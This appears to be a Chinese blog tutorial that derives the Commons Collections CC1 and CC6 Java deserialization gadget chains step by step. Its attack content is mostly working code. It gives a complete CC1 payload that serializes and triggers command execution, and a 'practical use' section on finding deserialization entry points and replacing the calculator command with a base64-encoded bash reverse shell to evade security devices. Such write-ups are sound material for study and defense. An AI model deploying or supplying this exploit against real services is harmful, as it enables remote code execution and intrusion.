ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

带你体验第一视角手撕CC链

2026-5-14 21:10:00
# java

CC1链

Commons Collections是一个开源的Java库,提供了许多实用的集合类和工具类,但其中的一些版本存在反序列化漏洞
反序列化链子的构造就是从利用类往readObject()方法反推,看后一层可不可以被前一层替代最终被readObject()替代,和php一个原理

cc1链是(JDK < 8u71,Commons Collections <= 3.2.1)版本的底层漏洞,该链利用了InvokerTransformer类实现了反射,先看其部分源码

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    // 构造函数接收:方法名、参数类型、参数值
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) { return null; }
        try {
            // cc1利用点,用此处反射
            // 相当于:input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs);
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (Exception ex) { ... }
    }
}

可以看到InvokerTransformer类的transform方法会对输入对象进行反射调用。我们只要给transform传一个对象,再给InvokerTransformer传入方法名、参数类型和参数值,就可以通过反射调用这个方法了

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

注意这里的new Class[]/new Object[],是对应源码的private final Class[] iParamTypes;和private final Object[] iArgs;

由于序列化过程中不可能主动调用transform()方法,我们循着链子顺藤摸瓜找一个方法代替他,最终用readObject()方法调用

代替transform()是来自TransformedMap类的checkSetValue方法,我们来看源码

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    private static final long serialVersionUID = 7023152376788900464L;
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map); // 调用父类构造方法,传入一个map对象
        // 其父类也规定了this.map = map;
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
}

我们先给TransformedMap析构函数传参构造一个TransformedMap对象,再向checkSetValue传入值。由于两个都是protected方法,我们用getDeclaredMethod和getDeclaredConstructor来获取,先写一个demo

Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Class<?> transformedMapClass = TransformedMap.class;
// getDeclaredConstructor导入transformedMap构造方法
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);
// 实例化
Object tmInstance = TM.newInstance(new HashMap<>(), null, IT);
Method cS = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
cS.setAccessible(true);
cS.invoke(tmInstance, f);

checkSetValue方法也需要被代替,我们在它的父类AbstractInputCheckedMapDecorator里找到了内部类MapEntry一个调用了checkSetValue方法的public方法setValue

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return this.entry.setValue(value);
    }
}

Map.Entry<String, Object>用于存储键值对的集合
我们可以去掉checkSetValue方法,直接让setValue调用transform方法来触发反射
覆写一下,上半部分不变

Class<?> r = Runtime.class;
Method c = r.getMethod("getRuntime");
Object f = c.invoke(null);
Object IT = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Class<?> transformedMapClass = TransformedMap.class;

Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);

Map innerMap = new HashMap<>();
// 确保有值
innerMap.put("key","value");
Map tmInstance = (Map) TM.newInstance(innerMap, null, IT);
// 由于是内部类,这里使用官方接口调用,tmInstance的位置就是parent
// 但parent本质是map类型,于是我们上一步用了强转换,entrySet()用于获取map中所有的键值对打包成set,iterator()用于迭代器,next()用于获取下一个元素
Map.Entry entry = (Map.Entry) tmInstance.entrySet().iterator().next();
entry.setValue(f);

最后一步,将setValue用readObject()代替
在AnnotationInvocationHandler类里找到了对应方法

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues; // 这个 Map 我们是可以控制的!

    // 构造函数,我们可以把包装好的 TransformedMap 传给 memberValues
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

    private void readObject(java.io.ObjectInputStream s) throws ... {
        s.defaultReadObject();

        // 1. 获取注解中定义的方法
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) { return; }
        
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // 2. 遍历我们传入的 map (memberValues)
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            
            // 3. 我们 map 的 key,必须在注解中有对应的方法名
            if (memberType != null) { 
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    // 4. 调用了 setValue
                    // memberValue 就是 TransformedMap.MapEntry
                    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
                }
            }
        }
    }
}

java中注解除了用@定义标签,还可以用来定义属性,不过必须以方法的形式定义

public @interface MyAnnotation {
    String name(); 
    int age() default 18; 
}

必须以键值对的方式传参赋值属性

@MyAnnotation(name = "uky", age = 19)
public class MyClass { ... }

这些属性的各种值就叫元数据(AnnotationType),而AnnotationType.getInstance()是用来将注解类实例化成元数据对象,并且将其通过memberTypes()存进Map里
Map.Entry就是储存键值对的,它会在遍历memberValues字典的所有键值对,成员命名为memberValue。取下memberValues的键,然后取下这些键在memberTypes里对应的注解属性类型(get(name)代表类型XX.class),如果存在,就用isInstance与memberValues里的值做判断看其是否为该类型
若不是,就会生成一个AnnotationTypeMismatchExceptionProxy异常处理对象。但setValue()就在这里被调用了

反过来看,我们要改的就是memberValue.setValue()。将memberValue替换成TransformedMap.MapEntry对象。

Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
// 传参给TM的构造函数,由于调用Map接口默认调用的是该类的this.map,没有就向父类找。
// 由于源码有个super(Map),所以TM的Map指针指向的是innerMap
// 由于要满足memberType != null,所以要在innerMap确保分配个value
Map tmInstance = (Map) TM.newInstance(innerMap, null, ConstantTransformer);

Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
// 为了不return需要传入注释类,这里用@Target类就行
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);

但我们setValue()本应该传参runtime对象,结果把这个异常处理对象传过去了
这就需要我们使用ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    super();
    this.iConstant = constantToReturn; 
}
public Object transform(Object input) {
    return this.iConstant; // 无视input,直接返回iConstant
}

我们iConstant直接传入Runtime对象,这样就可以过滤掉异常处理对象了
不过问题也来了,我怎么同时把IT弹计算机的指令和Runtime对象同时传给ConstantTransformer呢

好在ConstantTransformer还规定了另一种传输方式,被规定要求传入数组

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
// 依次调用数组里的transformer的transform方法
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

对数组遍历,每一次都会transform一次上一次的结果。还有一点就是反序列化中Runtime对象是无法直接传入的,因为它没有实现Serializable接口,我们可以用他的class对象来代替他

而且熟悉的是,this.iTransformers[i].transform(object);正对应我们在第一步写的思路

那么就有这么一个思路,我们先创建一个Transformed数组,其中先给ChainedTransformer传入Runtime.class让他保存在object里,第二次建立一个InvokerTransformer来调用Runtime.class的getMethod("getRuntime")方法获取方法,第三次再用InvokerTransformer传入invoke执行上一步的方法拿到Runtime实例,第四次执行命令(最开始写的那个payload)

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class), 
    // Class[0]是个空数组,代表getMethod方法没有参数
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    // 只拿实例不传参数
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 传参给ChainedTransformer构造函数,构造一个链式Transformer
Transformer chainedTransformer = new ChainedTransformer(transformers);

最终payload

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Class<?> transformedMapClass = TransformedMap.class;
Constructor<?> TM = transformedMapClass.getDeclaredConstructor(Map.class, Transformer.class, Transformer.class);
TM.setAccessible(true);

Map innerMap = new HashMap<>();
innerMap.put("value", "uky");
Map tmInstance = (Map) TM.newInstance(innerMap, null, chainedTransformer);

Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
Object payload = handlerConstructor.newInstance(Target.class, tmInstance);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("demo_payload.bin"));
oos.writeObject(payload);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("demo_payload.bin"));
ois.readObject();
ois.close();

这就是整个cc1链的推导过程。后面的java的链子推导思路也是一样的

CC6链

适用于jdk全版本,Apache Commons Collections3.1 - 3.2.1版本

cc6有着和cc1一样的入口:transform方法,但他走的路线与cc1不同

// 开头和cc1一样,ChainedTransformer链式调用
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

它调用了LazyMap方法代替了TransformedMap,LazyMap的get方法会调用transform方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;
    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

实战用法

先寻找反序列化入口,如果有序列化特征码多用base64加密(以rO0AB开头)

常见的服务端口: RMI 服务(默认端口 1099)、JMX 服务等

我们通过上面的payload构造了一个cc1链的利用对象,将序列化数据拿出来传入反序列化入口,可以将弹出计算机换成反弹shell的命令,或者直接调用一些敏感方法来获取敏感信息

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}"})
// 最好用base64加密一下,防止被安全设备过滤掉敏感命令
avatar

uky

后端安全方向,ctf-web手

RECOMMENDED

2025ISCTF-wp

2025-12-11 09:00:00

2026SHCTF-web阶段1/2

2026-2-14 09:00:00

floor(rand(0)*2)的奥秘

2025-11-11 09:00:00

Table of Contents